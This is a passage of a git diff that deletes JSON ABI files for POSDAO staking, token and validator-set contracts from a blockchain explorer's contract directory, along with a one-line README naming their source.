- "name": "_poolReward", - "type": "uint256" - } - ], - "name": "delegatorShare", - "outputs": [ - { - "name": "", - "type": "uint256" - } - ], - "payable": false, - "stateMutability": "view", - "type": "function" - } -] diff --git a/apps/explorer/priv/contracts_abi/posdao/README.md b/apps/explorer/priv/contracts_abi/posdao/README.md deleted file mode 100644 index 98a1dd21090c..000000000000 --- a/apps/explorer/priv/contracts_abi/posdao/README.md +++ /dev/null @@ -1 +0,0 @@ -ABIs are taken from compiled contract JSONs in the `build/` directory of https://github.com/poanetwork/posdao-contracts. diff --git a/apps/explorer/priv/contracts_abi/posdao/StakingAuRa.json b/apps/explorer/priv/contracts_abi/posdao/StakingAuRa.json deleted file mode 100644 index aebd900c42e9..000000000000 --- a/apps/explorer/priv/contracts_abi/posdao/StakingAuRa.json +++ /dev/null @@ -1,1127 +0,0 @@ -[ - { - "constant": true, - "inputs": [ - { - "name": "", - "type": "uint256" - }, - { - "name": "", - "type": "address" - } - ], - "name": "poolDelegatorIndex", - "outputs": [ - { - "name": "", - "type": "uint256" - } - ], - "payable": false, - "stateMutability": "view", - "type": "function" - }, - { - "constant": true, - "inputs": [], - "name": "candidateMinStake", - "outputs": [ - { - "name": "", - "type": "uint256" - } - ], - "payable": false, - "stateMutability": "view", - "type": "function" - }, - { - "constant": true, - "inputs": [ - { - "name": "_delegator", - "type": "address" - }, - { - "name": "_offset", - "type": "uint256" - }, - { - "name": "_length", - "type": "uint256" - } - ], - "name": "getDelegatorPools", - "outputs": [ - { - "name": "result", - "type": "uint256[]" - } - ], - "payable": false, - "stateMutability": "view", - "type": "function" - }, - { - "constant": true, - "inputs": [ - { - "name": "_delegator", - "type": "address" - } - ], - "name": "getDelegatorPoolsLength", - "outputs": [ - { - "name": "", - "type": "uint256" - } - ], - "payable": false, - "stateMutability": "view", - "type": "function" - }, - { - "constant": true, - "inputs": [ - { - "name": "", - "type": "uint256" - } - ], - "name": "poolInactiveIndex", - "outputs": [ - { - "name": "", - "type": "uint256" - } - ], - "payable": false, - "stateMutability": "view", - "type": "function" - }, - { - "constant": true, - "inputs": [], - "name": "stakingEpochStartBlock", - "outputs": [ - { - "name": "", - "type": "uint256" - } - ], - "payable": false, - "stateMutability": "view", - "type": "function" - }, - { - "constant": true, - "inputs": [], - "name": "stakingEpoch", - "outputs": [ - { - "name": "", - "type": "uint256" - } - ], - "payable": false, - "stateMutability": "view", - "type": "function" - }, - { - "constant": true, - "inputs": [], - "name": "erc677TokenContract", - "outputs": [ - { - "name": "", - "type": "address" - } - ], - "payable": false, - "stateMutability": "view", - "type": "function" - }, - { - "constant": true, - "inputs": [ - { - "name": "", - "type": "uint256" - }, - { - "name": "", - "type": "address" - } - ], - "name": "poolDelegatorInactiveIndex", - "outputs": [ - { - "name": "", - "type": "uint256" - } - ], - "payable": false, - "stateMutability": "view", - "type": "function" - }, - { - "constant": true, - "inputs": [], - "name": "stakeWithdrawDisallowPeriod", - "outputs": [ - { - "name": "", - "type": "uint256" - } - ], - "payable": false, - "stateMutability": "view", - "type": "function" - }, - { - "constant": true, - "inputs": [ - { - "name": "", - "type": "uint256" - }, - { - "name": "", - "type": "address" - } - ], - "name": "orderWithdrawEpoch", - "outputs": [ - { - "name": "", - "type": "uint256" - } - ], - "payable": false, - "stateMutability": "view", - "type": "function" - }, - { - "constant": true, - "inputs": [ - { - "name": "", - "type": "uint256" - } - ], - "name": "poolIndex", - "outputs": [ - { - "name": "", - "type": "uint256" - } - ], - "payable": false, - "stateMutability": "view", - "type": "function" - }, - { - "constant": true, - "inputs": [], - "name": "stakingEpochDuration", - "outputs": [ - { - "name": "", - "type": "uint256" - } - ], - "payable": false, - "stateMutability": "view", - "type": "function" - }, - { - "constant": true, - "inputs": [], - "name": "delegatorMinStake", - "outputs": [ - { - "name": "", - "type": "uint256" - } - ], - "payable": false, - "stateMutability": "view", - "type": "function" - }, - { - "constant": true, - "inputs": [ - { - "name": "", - "type": "uint256" - } - ], - "name": "orderedWithdrawAmountTotal", - "outputs": [ - { - "name": "", - "type": "uint256" - } - ], - "payable": false, - "stateMutability": "view", - "type": "function" - }, - { - "constant": true, - "inputs": [], - "name": "validatorSetContract", - "outputs": [ - { - "name": "", - "type": "address" - } - ], - "payable": false, - "stateMutability": "view", - "type": "function" - }, - { - "constant": true, - "inputs": [ - { - "name": "", - "type": "uint256" - }, - { - "name": "", - "type": "address" - } - ], - "name": "orderedWithdrawAmount", - "outputs": [ - { - "name": "", - "type": "uint256" - } - ], - "payable": false, - "stateMutability": "view", - "type": "function" - }, - { - "constant": true, - "inputs": [ - { - "name": "", - "type": "uint256" - } - ], - "name": "poolToBeRemovedIndex", - "outputs": [ - { - "name": "", - "type": "uint256" - } - ], - "payable": false, - "stateMutability": "view", - "type": "function" - }, - { - "constant": true, - "inputs": [], - "name": "MAX_CANDIDATES", - "outputs": [ - { - "name": "", - "type": "uint256" - } - ], - "payable": false, - "stateMutability": "view", - "type": "function" - }, - { - "constant": true, - "inputs": [ - { - "name": "", - "type": "uint256" - } - ], - "name": "poolToBeElectedIndex", - "outputs": [ - { - "name": "", - "type": "uint256" - } - ], - "payable": false, - "stateMutability": "view", - "type": "function" - }, - { - "anonymous": false, - "inputs": [ - { - "indexed": true, - "name": "fromPoolStakingAddress", - "type": "address" - }, - { - "indexed": true, - "name": "staker", - "type": "address" - }, - { - "indexed": true, - "name": "stakingEpoch", - "type": "uint256" - }, - { - "indexed": false, - "name": "amount", - "type": "uint256" - }, - { - "indexed": false, - "name": "fromPoolId", - "type": "uint256" - } - ], - "name": "ClaimedOrderedWithdrawal", - "type": "event" - }, - { - "anonymous": false, - "inputs": [ - { - "indexed": true, - "name": "toPoolStakingAddress", - "type": "address" - }, - { - "indexed": true, - "name": "staker", - "type": "address" - }, - { - "indexed": true, - "name": "stakingEpoch", - "type": "uint256" - }, - { - "indexed": false, - "name": "amount", - "type": "uint256" - }, - { - "indexed": false, - "name": "toPoolId", - "type": "uint256" - } - ], - "name": "PlacedStake", - "type": "event" - }, - { - "anonymous": false, - "inputs": [ - { - "indexed": false, - "name": "fromPoolStakingAddress", - "type": "address" - }, - { - "indexed": true, - "name": "toPoolStakingAddress", - "type": "address" - }, - { - "indexed": true, - "name": "staker", - "type": "address" - }, - { - "indexed": true, - "name": "stakingEpoch", - "type": "uint256" - }, - { - "indexed": false, - "name": "amount", - "type": "uint256" - }, - { - "indexed": false, - "name": "fromPoolId", - "type": "uint256" - }, - { - "indexed": false, - "name": "toPoolId", - "type": "uint256" - } - ], - "name": "MovedStake", - "type": "event" - }, - { - "anonymous": false, - "inputs": [ - { - "indexed": true, - "name": "fromPoolStakingAddress", - "type": "address" - }, - { - "indexed": true, - "name": "staker", - "type": "address" - }, - { - "indexed": true, - "name": "stakingEpoch", - "type": "uint256" - }, - { - "indexed": false, - "name": "amount", - "type": "int256" - }, - { - "indexed": false, - "name": "fromPoolId", - "type": "uint256" - } - ], - "name": "OrderedWithdrawal", - "type": "event" - }, - { - "anonymous": false, - "inputs": [ - { - "indexed": true, - "name": "fromPoolStakingAddress", - "type": "address" - }, - { - "indexed": true, - "name": "staker", - "type": "address" - }, - { - "indexed": true, - "name": "stakingEpoch", - "type": "uint256" - }, - { - "indexed": false, - "name": "amount", - "type": "uint256" - }, - { - "indexed": false, - "name": "fromPoolId", - "type": "uint256" - } - ], - "name": "WithdrewStake", - "type": "event" - }, - { - "constant": false, - "inputs": [ - { - "name": "_amount", - "type": "uint256" - }, - { - "name": "_miningAddress", - "type": "address" - } - ], - "name": "addPool", - "outputs": [ - { - "name": "", - "type": "uint256" - } - ], - "payable": false, - "stateMutability": "nonpayable", - "type": "function" - }, - { - "constant": false, - "inputs": [ - { - "name": "_stakingEpochs", - "type": "uint256[]" - }, - { - "name": "_poolStakingAddress", - "type": "address" - } - ], - "name": "claimReward", - "outputs": [], - "payable": false, - "stateMutability": "nonpayable", - "type": "function" - }, - { - "constant": false, - "inputs": [ - { - "name": "_unremovablePoolId", - "type": "uint256" - } - ], - "name": "clearUnremovableValidator", - "outputs": [], - "payable": false, - "stateMutability": "nonpayable", - "type": "function" - }, - { - "constant": false, - "inputs": [], - "name": "incrementStakingEpoch", - "outputs": [], - "payable": false, - "stateMutability": "nonpayable", - "type": "function" - }, - { - "constant": false, - "inputs": [ - { - "name": "_validatorSetContract", - "type": "address" - }, - { - "name": "_initialIds", - "type": "uint256[]" - }, - { - "name": "_delegatorMinStake", - "type": "uint256" - }, - { - "name": "_candidateMinStake", - "type": "uint256" - }, - { - "name": "_stakingEpochDuration", - "type": "uint256" - }, - { - "name": "_stakingEpochStartBlock", - "type": "uint256" - }, - { - "name": "_stakeWithdrawDisallowPeriod", - "type": "uint256" - } - ], - "name": "initialize", - "outputs": [], - "payable": false, - "stateMutability": "nonpayable", - "type": "function" - }, - { - "constant": false, - "inputs": [ - { - "name": "_poolId", - "type": "uint256" - } - ], - "name": "removePool", - "outputs": [], - "payable": false, - "stateMutability": "nonpayable", - "type": "function" - }, - { - "constant": false, - "inputs": [], - "name": "removeMyPool", - "outputs": [], - "payable": false, - "stateMutability": "nonpayable", - "type": "function" - }, - { - "constant": false, - "inputs": [ - { - "name": "_blockNumber", - "type": "uint256" - } - ], - "name": "setStakingEpochStartBlock", - "outputs": [], - "payable": false, - "stateMutability": "nonpayable", - "type": "function" - }, - { - "constant": false, - "inputs": [ - { - "name": "_fromPoolStakingAddress", - "type": "address" - }, - { - "name": "_toPoolStakingAddress", - "type": "address" - }, - { - "name": "_amount", - "type": "uint256" - } - ], - "name": "moveStake", - "outputs": [], - "payable": false, - "stateMutability": "nonpayable", - "type": "function" - }, - { - "constant": false, - "inputs": [ - { - "name": "_toPoolStakingAddress", - "type": "address" - }, - { - "name": "_amount", - "type": "uint256" - } - ], - "name": "stake", - "outputs": [], - "payable": false, - "stateMutability": "nonpayable", - "type": "function" - }, - { - "constant": false, - "inputs": [ - { - "name": "_fromPoolStakingAddress", - "type": "address" - }, - { - "name": "_amount", - "type": "uint256" - } - ], - "name": "withdraw", - "outputs": [], - "payable": false, - "stateMutability": "nonpayable", - "type": "function" - }, - { - "constant": false, - "inputs": [ - { - "name": "_poolStakingAddress", - "type": "address" - }, - { - "name": "_amount", - "type": "int256" - } - ], - "name": "orderWithdraw", - "outputs": [], - "payable": false, - "stateMutability": "nonpayable", - "type": "function" - }, - { - "constant": false, - "inputs": [ - { - "name": "_poolStakingAddress", - "type": "address" - } - ], - "name": "claimOrderedWithdraw", - "outputs": [], - "payable": false, - "stateMutability": "nonpayable", - "type": "function" - }, - { - "constant": false, - "inputs": [ - { - "name": "_erc677TokenContract", - "type": "address" - } - ], - "name": "setErc677TokenContract", - "outputs": [], - "payable": false, - "stateMutability": "nonpayable", - "type": "function" - }, - { - "constant": false, - "inputs": [ - { - "name": "_minStake", - "type": "uint256" - } - ], - "name": "setCandidateMinStake", - "outputs": [], - "payable": false, - "stateMutability": "nonpayable", - "type": "function" - }, - { - "constant": false, - "inputs": [ - { - "name": "_minStake", - "type": "uint256" - } - ], - "name": "setDelegatorMinStake", - "outputs": [], - "payable": false, - "stateMutability": "nonpayable", - "type": "function" - }, - { - "constant": true, - "inputs": [], - "name": "getPools", - "outputs": [ - { - "name": "", - "type": "uint256[]" - } - ], - "payable": false, - "stateMutability": "view", - "type": "function" - }, - { - "constant": true, - "inputs": [], - "name": "getPoolsInactive", - "outputs": [ - { - "name": "", - "type": "uint256[]" - } - ], - "payable": false, - "stateMutability": "view", - "type": "function" - }, - { - "constant": true, - "inputs": [], - "name": "getPoolsLikelihood", - "outputs": [ - { - "name": "likelihoods", - "type": "uint256[]" - }, - { - "name": "sum", - "type": "uint256" - } - ], - "payable": false, - "stateMutability": "view", - "type": "function" - }, - { - "constant": true, - "inputs": [], - "name": "getPoolsToBeElected", - "outputs": [ - { - "name": "", - "type": "uint256[]" - } - ], - "payable": false, - "stateMutability": "view", - "type": "function" - }, - { - "constant": true, - "inputs": [], - "name": "getPoolsToBeRemoved", - "outputs": [ - { - "name": "", - "type": "uint256[]" - } - ], - "payable": false, - "stateMutability": "view", - "type": "function" - }, - { - "constant": true, - "inputs": [], - "name": "areStakeAndWithdrawAllowed", - "outputs": [ - { - "name": "", - "type": "bool" - } - ], - "payable": false, - "stateMutability": "view", - "type": "function" - }, - { - "constant": true, - "inputs": [], - "name": "isInitialized", - "outputs": [ - { - "name": "", - "type": "bool" - } - ], - "payable": false, - "stateMutability": "view", - "type": "function" - }, - { - "constant": true, - "inputs": [ - { - "name": "_poolId", - "type": "uint256" - } - ], - "name": "isPoolActive", - "outputs": [ - { - "name": "", - "type": "bool" - } - ], - "payable": false, - "stateMutability": "view", - "type": "function" - }, - { - "constant": true, - "inputs": [ - { - "name": "_poolStakingAddress", - "type": "address" - }, - { - "name": "_staker", - "type": "address" - } - ], - "name": "maxWithdrawAllowed", - "outputs": [ - { - "name": "", - "type": "uint256" - } - ], - "payable": false, - "stateMutability": "view", - "type": "function" - }, - { - "constant": true, - "inputs": [ - { - "name": "_poolStakingAddress", - "type": "address" - }, - { - "name": "_staker", - "type": "address" - } - ], - "name": "maxWithdrawOrderAllowed", - "outputs": [ - { - "name": "", - "type": "uint256" - } - ], - "payable": false, - "stateMutability": "view", - "type": "function" - }, - { - "constant": false, - "inputs": [ - { - "name": "", - "type": "address" - }, - { - "name": "", - "type": "uint256" - }, - { - "name": "", - "type": "bytes" - } - ], - "name": "onTokenTransfer", - "outputs": [ - { - "name": "", - "type": "bool" - } - ], - "payable": false, - "stateMutability": "nonpayable", - "type": "function" - }, - { - "constant": true, - "inputs": [ - { - "name": "_poolId", - "type": "uint256" - } - ], - "name": "poolDelegators", - "outputs": [ - { - "name": "", - "type": "address[]" - } - ], - "payable": false, - "stateMutability": "view", - "type": "function" - }, - { - "constant": true, - "inputs": [ - { - "name": "_poolId", - "type": "uint256" - } - ], - "name": "poolDelegatorsInactive", - "outputs": [ - { - "name": "", - "type": "address[]" - } - ], - "payable": false, - "stateMutability": "view", - "type": "function" - }, - { - "constant": true, - "inputs": [ - { - "name": "_poolId", - "type": "uint256" - }, - { - "name": "_delegatorOrZero", - "type": "address" - } - ], - "name": "stakeAmountByCurrentEpoch", - "outputs": [ - { - "name": "", - "type": "uint256" - } - ], - "payable": false, - "stateMutability": "view", - "type": "function" - }, - { - "constant": true, - "inputs": [ - { - "name": "_poolId", - "type": "uint256" - }, - { - "name": "_delegatorOrZero", - "type": "address" - } - ], - "name": "stakeAmount", - "outputs": [ - { - "name": "", - "type": "uint256" - } - ], - "payable": false, - "stateMutability": "view", - "type": "function" - }, - { - "constant": true, - "inputs": [ - { - "name": "_poolId", - "type": "uint256" - } - ], - "name": "stakeAmountTotal", - "outputs": [ - { - "name": "", - "type": "uint256" - } - ], - "payable": false, - "stateMutability": "view", - "type": "function" - }, - { - "constant": true, - "inputs": [], - "name": "stakingEpochEndBlock", - "outputs": [ - { - "name": "", - "type": "uint256" - } - ], - "payable": false, - "stateMutability": "view", - "type": "function" - }, - { - "constant": true, - "inputs": [], - "name": "lastChangeBlock", - "outputs": [ - { - "name": "", - "type": "uint256" - } - ], - "payable": false, - "stateMutability": "view", - "type": "function" - } -] diff --git a/apps/explorer/priv/contracts_abi/posdao/Token.json b/apps/explorer/priv/contracts_abi/posdao/Token.json deleted file mode 100644 index a10faa963858..000000000000 --- a/apps/explorer/priv/contracts_abi/posdao/Token.json +++ /dev/null @@ -1,968 +0,0 @@ -[ - { - "constant": false, - "inputs": [ - { - "name": "_bridge", - "type": "address" - } - ], - "name": "removeBridge", - "outputs": [], - "payable": false, - "stateMutability": "nonpayable", - "type": "function" - }, - { - "constant": true, - "inputs": [], - "name": "name", - "outputs": [ - { - "name": "", - "type": "string" - } - ], - "payable": false, - "stateMutability": "view", - "type": "function" - }, - { - "constant": false, - "inputs": [ - { - "name": "_spender", - "type": "address" - }, - { - "name": "_value", - "type": "uint256" - } - ], - "name": "approve", - "outputs": [ - { - "name": "", - "type": "bool" - } - ], - "payable": false, - "stateMutability": "nonpayable", - "type": "function" - }, - { - "constant": true, - "inputs": [], - "name": "totalSupply", - "outputs": [ - { - "name": "", - "type": "uint256" - } - ], - "payable": false, - "stateMutability": "view", - "type": "function" - }, - { - "constant": true, - "inputs": [], - "name": "PERMIT_TYPEHASH", - "outputs": [ - { - "name": "", - "type": "bytes32" - } - ], - "payable": false, - "stateMutability": "view", - "type": "function" - }, - { - "constant": true, - "inputs": [], - "name": "decimals", - "outputs": [ - { - "name": "", - "type": "uint8" - } - ], - "payable": false, - "stateMutability": "view", - "type": "function" - }, - { - "constant": true, - "inputs": [], - "name": "DOMAIN_SEPARATOR", - "outputs": [ - { - "name": "", - "type": "bytes32" - } - ], - "payable": false, - "stateMutability": "view", - "type": "function" - }, - { - "constant": false, - "inputs": [ - { - "name": "spender", - "type": "address" - }, - { - "name": "addedValue", - "type": "uint256" - } - ], - "name": "increaseAllowance", - "outputs": [ - { - "name": "", - "type": "bool" - } - ], - "payable": false, - "stateMutability": "nonpayable", - "type": "function" - }, - { - "constant": false, - "inputs": [ - { - "name": "_to", - "type": "address" - }, - { - "name": "_value", - "type": "uint256" - }, - { - "name": "_data", - "type": "bytes" - } - ], - "name": "transferAndCall", - "outputs": [ - { - "name": "", - "type": "bool" - } - ], - "payable": false, - "stateMutability": "nonpayable", - "type": "function" - }, - { - "constant": false, - "inputs": [ - { - "name": "_to", - "type": "address" - }, - { - "name": "_amount", - "type": "uint256" - } - ], - "name": "mint", - "outputs": [ - { - "name": "", - "type": "bool" - } - ], - "payable": false, - "stateMutability": "nonpayable", - "type": "function" - }, - { - "constant": false, - "inputs": [ - { - "name": "_value", - "type": "uint256" - } - ], - "name": "burn", - "outputs": [], - "payable": false, - "stateMutability": "nonpayable", - "type": "function" - }, - { - "constant": true, - "inputs": [ - { - "name": "", - "type": "address" - } - ], - "name": "bridgePointers", - "outputs": [ - { - "name": "", - "type": "address" - } - ], - "payable": false, - "stateMutability": "view", - "type": "function" - }, - { - "constant": true, - "inputs": [], - "name": "version", - "outputs": [ - { - "name": "", - "type": "string" - } - ], - "payable": false, - "stateMutability": "view", - "type": "function" - }, - { - "constant": true, - "inputs": [], - "name": "blockRewardContract", - "outputs": [ - { - "name": "", - "type": "address" - } - ], - "payable": false, - "stateMutability": "view", - "type": "function" - }, - { - "constant": false, - "inputs": [ - { - "name": "_spender", - "type": "address" - }, - { - "name": "_subtractedValue", - "type": "uint256" - } - ], - "name": "decreaseApproval", - "outputs": [ - { - "name": "", - "type": "bool" - } - ], - "payable": false, - "stateMutability": "nonpayable", - "type": "function" - }, - { - "constant": false, - "inputs": [ - { - "name": "_token", - "type": "address" - }, - { - "name": "_to", - "type": "address" - } - ], - "name": "claimTokens", - "outputs": [], - "payable": false, - "stateMutability": "nonpayable", - "type": "function" - }, - { - "constant": true, - "inputs": [ - { - "name": "_owner", - "type": "address" - } - ], - "name": "balanceOf", - "outputs": [ - { - "name": "", - "type": "uint256" - } - ], - "payable": false, - "stateMutability": "view", - "type": "function" - }, - { - "constant": true, - "inputs": [ - { - "name": "_address", - "type": "address" - } - ], - "name": "isBridge", - "outputs": [ - { - "name": "", - "type": "bool" - } - ], - "payable": false, - "stateMutability": "view", - "type": "function" - }, - { - "constant": true, - "inputs": [ - { - "name": "", - "type": "address" - } - ], - "name": "nonces", - "outputs": [ - { - "name": "", - "type": "uint256" - } - ], - "payable": false, - "stateMutability": "view", - "type": "function" - }, - { - "constant": true, - "inputs": [], - "name": "getTokenInterfacesVersion", - "outputs": [ - { - "name": "major", - "type": "uint64" - }, - { - "name": "minor", - "type": "uint64" - }, - { - "name": "patch", - "type": "uint64" - } - ], - "payable": false, - "stateMutability": "pure", - "type": "function" - }, - { - "constant": true, - "inputs": [], - "name": "owner", - "outputs": [ - { - "name": "", - "type": "address" - } - ], - "payable": false, - "stateMutability": "view", - "type": "function" - }, - { - "constant": false, - "inputs": [ - { - "name": "_holder", - "type": "address" - }, - { - "name": "_spender", - "type": "address" - }, - { - "name": "_nonce", - "type": "uint256" - }, - { - "name": "_expiry", - "type": "uint256" - }, - { - "name": "_allowed", - "type": "bool" - }, - { - "name": "_v", - "type": "uint8" - }, - { - "name": "_r", - "type": "bytes32" - }, - { - "name": "_s", - "type": "bytes32" - } - ], - "name": "permit", - "outputs": [], - "payable": false, - "stateMutability": "nonpayable", - "type": "function" - }, - { - "constant": true, - "inputs": [], - "name": "symbol", - "outputs": [ - { - "name": "", - "type": "string" - } - ], - "payable": false, - "stateMutability": "view", - "type": "function" - }, - { - "constant": false, - "inputs": [ - { - "name": "_bridge", - "type": "address" - } - ], - "name": "addBridge", - "outputs": [], - "payable": false, - "stateMutability": "nonpayable", - "type": "function" - }, - { - "constant": true, - "inputs": [], - "name": "bridgeList", - "outputs": [ - { - "name": "", - "type": "address[]" - } - ], - "payable": false, - "stateMutability": "view", - "type": "function" - }, - { - "constant": false, - "inputs": [ - { - "name": "spender", - "type": "address" - }, - { - "name": "subtractedValue", - "type": "uint256" - } - ], - "name": "decreaseAllowance", - "outputs": [ - { - "name": "", - "type": "bool" - } - ], - "payable": false, - "stateMutability": "nonpayable", - "type": "function" - }, - { - "constant": false, - "inputs": [ - { - "name": "_to", - "type": "address" - }, - { - "name": "_amount", - "type": "uint256" - } - ], - "name": "push", - "outputs": [], - "payable": false, - "stateMutability": "nonpayable", - "type": "function" - }, - { - "constant": false, - "inputs": [ - { - "name": "_from", - "type": "address" - }, - { - "name": "_to", - "type": "address" - }, - { - "name": "_amount", - "type": "uint256" - } - ], - "name": "move", - "outputs": [], - "payable": false, - "stateMutability": "nonpayable", - "type": "function" - }, - { - "constant": true, - "inputs": [], - "name": "F_ADDR", - "outputs": [ - { - "name": "", - "type": "address" - } - ], - "payable": false, - "stateMutability": "view", - "type": "function" - }, - { - "constant": false, - "inputs": [ - { - "name": "_spender", - "type": "address" - }, - { - "name": "_addedValue", - "type": "uint256" - } - ], - "name": "increaseApproval", - "outputs": [ - { - "name": "", - "type": "bool" - } - ], - "payable": false, - "stateMutability": "nonpayable", - "type": "function" - }, - { - "constant": true, - "inputs": [ - { - "name": "_owner", - "type": "address" - }, - { - "name": "_spender", - "type": "address" - } - ], - "name": "allowance", - "outputs": [ - { - "name": "", - "type": "uint256" - } - ], - "payable": false, - "stateMutability": "view", - "type": "function" - }, - { - "constant": true, - "inputs": [], - "name": "stakingContract", - "outputs": [ - { - "name": "", - "type": "address" - } - ], - "payable": false, - "stateMutability": "view", - "type": "function" - }, - { - "constant": false, - "inputs": [ - { - "name": "_from", - "type": "address" - }, - { - "name": "_amount", - "type": "uint256" - } - ], - "name": "pull", - "outputs": [], - "payable": false, - "stateMutability": "nonpayable", - "type": "function" - }, - { - "constant": false, - "inputs": [ - { - "name": "_newOwner", - "type": "address" - } - ], - "name": "transferOwnership", - "outputs": [], - "payable": false, - "stateMutability": "nonpayable", - "type": "function" - }, - { - "constant": true, - "inputs": [], - "name": "bridgeCount", - "outputs": [ - { - "name": "", - "type": "uint256" - } - ], - "payable": false, - "stateMutability": "view", - "type": "function" - }, - { - "constant": true, - "inputs": [ - { - "name": "", - "type": "address" - }, - { - "name": "", - "type": "address" - } - ], - "name": "expirations", - "outputs": [ - { - "name": "", - "type": "uint256" - } - ], - "payable": false, - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [ - { - "name": "_name", - "type": "string" - }, - { - "name": "_symbol", - "type": "string" - }, - { - "name": "_decimals", - "type": "uint8" - }, - { - "name": "_chainId", - "type": "uint256" - } - ], - "payable": false, - "stateMutability": "nonpayable", - "type": "constructor" - }, - { - "anonymous": false, - "inputs": [ - { - "indexed": true, - "name": "bridge", - "type": "address" - } - ], - "name": "BridgeAdded", - "type": "event" - }, - { - "anonymous": false, - "inputs": [ - { - "indexed": true, - "name": "bridge", - "type": "address" - } - ], - "name": "BridgeRemoved", - "type": "event" - }, - { - "anonymous": false, - "inputs": [ - { - "indexed": false, - "name": "from", - "type": "address" - }, - { - "indexed": false, - "name": "to", - "type": "address" - }, - { - "indexed": false, - "name": "value", - "type": "uint256" - } - ], - "name": "ContractFallbackCallFailed", - "type": "event" - }, - { - "anonymous": false, - "inputs": [ - { - "indexed": true, - "name": "to", - "type": "address" - }, - { - "indexed": false, - "name": "amount", - "type": "uint256" - } - ], - "name": "Mint", - "type": "event" - }, - { - "anonymous": false, - "inputs": [ - { - "indexed": true, - "name": "previousOwner", - "type": "address" - }, - { - "indexed": true, - "name": "newOwner", - "type": "address" - } - ], - "name": "OwnershipTransferred", - "type": "event" - }, - { - "anonymous": false, - "inputs": [ - { - "indexed": true, - "name": "burner", - "type": "address" - }, - { - "indexed": false, - "name": "value", - "type": "uint256" - } - ], - "name": "Burn", - "type": "event" - }, - { - "anonymous": false, - "inputs": [ - { - "indexed": true, - "name": "from", - "type": "address" - }, - { - "indexed": true, - "name": "to", - "type": "address" - }, - { - "indexed": false, - "name": "value", - "type": "uint256" - }, - { - "indexed": false, - "name": "data", - "type": "bytes" - } - ], - "name": "Transfer", - "type": "event" - }, - { - "anonymous": false, - "inputs": [ - { - "indexed": true, - "name": "owner", - "type": "address" - }, - { - "indexed": true, - "name": "spender", - "type": "address" - }, - { - "indexed": false, - "name": "value", - "type": "uint256" - } - ], - "name": "Approval", - "type": "event" - }, - { - "anonymous": false, - "inputs": [ - { - "indexed": true, - "name": "from", - "type": "address" - }, - { - "indexed": true, - "name": "to", - "type": "address" - }, - { - "indexed": false, - "name": "value", - "type": "uint256" - } - ], - "name": "Transfer", - "type": "event" - }, - { - "constant": false, - "inputs": [ - { - "name": "_blockRewardContract", - "type": "address" - } - ], - "name": "setBlockRewardContract", - "outputs": [], - "payable": false, - "stateMutability": "nonpayable", - "type": "function" - }, - { - "constant": false, - "inputs": [ - { - "name": "_stakingContract", - "type": "address" - } - ], - "name": "setStakingContract", - "outputs": [], - "payable": false, - "stateMutability": "nonpayable", - "type": "function" - }, - { - "constant": false, - "inputs": [ - { - "name": "_amount", - "type": "uint256" - } - ], - "name": "mintReward", - "outputs": [], - "payable": false, - "stateMutability": "nonpayable", - "type": "function" - }, - { - "constant": false, - "inputs": [ - { - "name": "_staker", - "type": "address" - }, - { - "name": "_amount", - "type": "uint256" - } - ], - "name": "stake", - "outputs": [], - "payable": false, - "stateMutability": "nonpayable", - "type": "function" - }, - { - "constant": false, - "inputs": [ - { - "name": "_to", - "type": "address" - }, - { - "name": "_value", - "type": "uint256" - } - ], - "name": "transfer", - "outputs": [ - { - "name": "", - "type": "bool" - } - ], - "payable": false, - "stateMutability": "nonpayable", - "type": "function" - }, - { - "constant": false, - "inputs": [ - { - "name": "_from", - "type": "address" - }, - { - "name": "_to", - "type": "address" - }, - { - "name": "_value", - "type": "uint256" - } - ], - "name": "transferFrom", - "outputs": [ - { - "name": "", - "type": "bool" - } - ], - "payable": false, - "stateMutability": "nonpayable", - "type": "function" - } -] diff --git a/apps/explorer/priv/contracts_abi/posdao/ValidatorSetAuRa.json b/apps/explorer/priv/contracts_abi/posdao/ValidatorSetAuRa.json deleted file mode 100644 index ca4c9e787f32..000000000000 --- a/apps/explorer/priv/contracts_abi/posdao/ValidatorSetAuRa.json +++ /dev/null @@ -1,734 +0,0 @@ -[ - { - "constant": true, - "inputs": [ - { - "name": "", - "type": "address" - } - ], - "name": "miningByStakingAddress", - "outputs": [ - { - "name": "", - "type": "address" - } - ], - "payable": false, - "stateMutability": "view", - "type": "function" - }, - { - "constant": true, - "inputs": [], - "name": "initiateChangeAllowed", - "outputs": [ - { - "name": "", - "type": "bool" - } - ], - "payable": false, - "stateMutability": "view", - "type": "function" - }, - { - "constant": true, - "inputs": [ - { - "name": "", - "type": "address" - } - ], - "name": "banCounter", - "outputs": [ - { - "name": "", - "type": "uint256" - } - ], - "payable": false, - "stateMutability": "view", - "type": "function" - }, - { - "constant": true, - "inputs": [ - { - "name": "", - "type": "address" - } - ], - "name": "stakingByMiningAddress", - "outputs": [ - { - "name": "", - "type": "address" - } - ], - "payable": false, - "stateMutability": "view", - "type": "function" - }, - { - "constant": true, - "inputs": [], - "name": "blockRewardContract", - "outputs": [ - { - "name": "", - "type": "address" - } - ], - "payable": false, - "stateMutability": "view", - "type": "function" - }, - { - "constant": true, - "inputs": [ - { - "name": "", - "type": "address" - } - ], - "name": "banReason", - "outputs": [ - { - "name": "", - "type": "bytes32" - } - ], - "payable": false, - "stateMutability": "view", - "type": "function" - }, - { - "constant": true, - "inputs": [ - { - "name": "", - "type": "address" - } - ], - "name": "bannedUntil", - "outputs": [ - { - "name": "", - "type": "uint256" - } - ], - "payable": false, - "stateMutability": "view", - "type": "function" - }, - { - "constant": true, - "inputs": [ - { - "name": "", - "type": "address" - } - ], - "name": "bannedDelegatorsUntil", - "outputs": [ - { - "name": "", - "type": "uint256" - } - ], - "payable": false, - "stateMutability": "view", - "type": "function" - }, - { - "constant": true, - "inputs": [], - "name": "unremovableValidator", - "outputs": [ - { - "name": "", - "type": "uint256" - } - ], - "payable": false, - "stateMutability": "view", - "type": "function" - }, - { - "constant": true, - "inputs": [], - "name": "MAX_VALIDATORS", - "outputs": [ - { - "name": "", - "type": "uint256" - } - ], - "payable": false, - "stateMutability": "view", - "type": "function" - }, - { - "constant": true, - "inputs": [ - { - "name": "", - "type": "address" - } - ], - "name": "validatorCounter", - "outputs": [ - { - "name": "", - "type": "uint256" - } - ], - "payable": false, - "stateMutability": "view", - "type": "function" - }, - { - "constant": true, - "inputs": [], - "name": "validatorSetApplyBlock", - "outputs": [ - { - "name": "", - "type": "uint256" - } - ], - "payable": false, - "stateMutability": "view", - "type": "function" - }, - { - "constant": true, - "inputs": [], - "name": "randomContract", - "outputs": [ - { - "name": "", - "type": "address" - } - ], - "payable": false, - 